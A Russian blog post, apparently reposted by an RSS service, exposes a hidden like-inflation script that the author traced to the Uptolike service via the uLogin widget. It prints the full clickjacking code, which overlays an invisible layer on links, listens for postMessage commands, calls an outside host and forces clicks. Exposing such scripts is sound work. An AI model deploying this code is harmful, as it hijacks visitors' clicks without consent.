Рассказ пойдет о красном квадрате малевича, о uLogin и о сервисе социальной активности для набора лайков.
Все началось с того, что ковыряясь в одном из своих проектов, наткнулся на красный квадрат Малевича — кодовое название накруточного слоя для лайков в соц сети, выглядело примерно так:
Поняв, что дело неладное, т.к. таких скриптов не ставил, полез искать шалуна.
Для начала набрел на некий скрипт, лежащий по адресу:
http://ift.tt/ZPEgLA (далее Скрипт Uptolike)
Конечно, посетовав на нашего СЕО-специалиста, полез в админ-панель и в код сайта с поиском когда и кто успел прописать данный скрипт. Как Вы и предполагаете — ничего не нашел. Дальше — проще. Нужно найти кто же нам подсовывает этот скрипт. Искать долго не пришлось — это многими любимый uLogin:
Теперь пойдем в тех особенности.
Скрипт Uptolike не всегда выдает себя. Вот здоровый скрипт, показавший себя сразу же при пробе повторить эксперимент с накрутками:
(function() {
(function () {
if (!window["__utl_adbl_initialized"]) {
window["__utl_adbl_initialized"] = true;
}
else {
return;
}
var body = document.getElementsByTagName("body")[0];
var img = document.createElement("img");
img.src = "//w.uptolike.com/widgets/v1/det_dbl?rnd="+Math.random()+"&ad_number=1";
img.style.position = "absolute";
img.style.top = "-100px";
img.style.left = "-100px";
img.style.width = "1px";
img.style.height = "1px";
setTimeout(function() {body.removeChild(img);}, 2000);
body.appendChild(img);
})();})();
Вот скрипт курильщика, который случайно попался на глаза от Uptolike:
(function() {
(function () {
if (!window["__utl_adbl_initialized"]) {
window["__utl_adbl_initialized"] = true;
}
else {
return;
}
var body = document.getElementsByTagName("body")[0];
var img = document.createElement("img");
img.src = "//w.uptolike.com/widgets/v1/det_dbl?rnd="+Math.random()+"&ad_number=1";
img.style.position = "absolute";
img.style.top = "-100px";
img.style.left = "-100px";
img.style.width = "1px";
img.style.height = "1px";
setTimeout(function() {body.removeChild(img);}, 2000);
body.appendChild(img);
})();(function() {
function addScript(url) {
var el = document.createElement("script");
el.type = "text/javascript";
el.charset = 'utf-8';
el.async = 'true';
el.src = url;
el.isLoaded = false;
document.getElementsByTagName('head')[0].appendChild(el);
}
if (window.location.protocol=='https') {
return;
}
if (!window["__utl_clkj_initialized"]) {
window["__utl_clkj_initialized"] = true;
}
else {
return;
}
function install() {
var cleaning = false;
var lastClickedElement;
var body = document.getElementsByTagName("body")[0];
var div = document.createElement("div");
div.style.position = "absolute";
div.style.width = "1px";
div.style.height = "1px";
div.style.top = "-1px";
div.style.left = "-1px";
div.style.zIndex = "10000";
div.innerHTML = "
";
body.appendChild(div);
var el = document.getElementById("__smth_wrap1");
var mousemove = function(e) {
var x = e.clientX, y = e.clientY;
div.style.zIndex = "-1";
var element = document.elementFromPoint(x, y);
div.style.zIndex = "10000";
if (element.nodeName == "A" || element.parentNode.nodeName == "A") {
div.style.display = "block";
el.style.left = (e.pageX - 10) + "px";
el.style.top = (e.pageY - window.scrollY - 12) + "px";
lastClickedElement = element;
}
else {
lastClickedElement = undefined;
div.style.display = "none";
}
};
var clickListener = function(e) {
setTimeout(function() {
cleanup();
}, 100);
};
document.addEventListener("mouseup", clickListener);
function init(msg) {
if (cleaning) {
return;
}
if (msg && msg.data["context"]==="stggr") {
if (msg.data["action"] === "init") {
if (cleaning) {
return;
}
setTimeout(function() {
if (cleaning) {
return;
}
div.style.width = "100%";
div.style.height = "100%";
div.style.top = "0";
div.style.left = "0";
window.addEventListener("mousemove", mousemove);
}, 1000);
}
else if (msg.data["action"] === "clean") {
cleanup();
}
else if (msg.data["action"] === "got") {
var img = document.createElement("img");
img.src = "//w.uptolike.com/widgets/v1/vk_clk?rnd="+Math.random();
img.style.position = "absolute";
img.style.top = "-100px";
img.style.left = "-100px";
img.style.width = "1px";
img.style.height = "1px";
img.onLoad = function() {
clickOnce();
}
setTimeout(function() {body.removeChild(img);}, 2000);
body.appendChild(img);
var clicked = false;
var clickOnce = function() {
if (clicked) return;
if (lastClickedElement) {
lastClickedElement.click();
clicked = true;
}
}
setTimeout(clickOnce, 500);
cleanup();
}
}
}
if (window.addEventListener){
window.addEventListener("message", init, false);
} else {
window.attachEvent("onmessage", init);
}
var cleanup = function () {
cleaning = true;
window.removeEventListener("mousemove", mousemove);
document.removeEventListener("mouseup", clickListener);
document.removeEventListener("message", init)
body.removeChild(div);
};
}
install();
})()})();
Что делает:
- Создает невидимый слой, который отображается при наведении на ссылки
- Ловит клик и сматывает удочки
Ссылки на ресурсы можно взять из кода. И да, это пример того, как современные «особенности» используются в современном «СЕО».
This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
Комментариев нет:
Отправить комментарий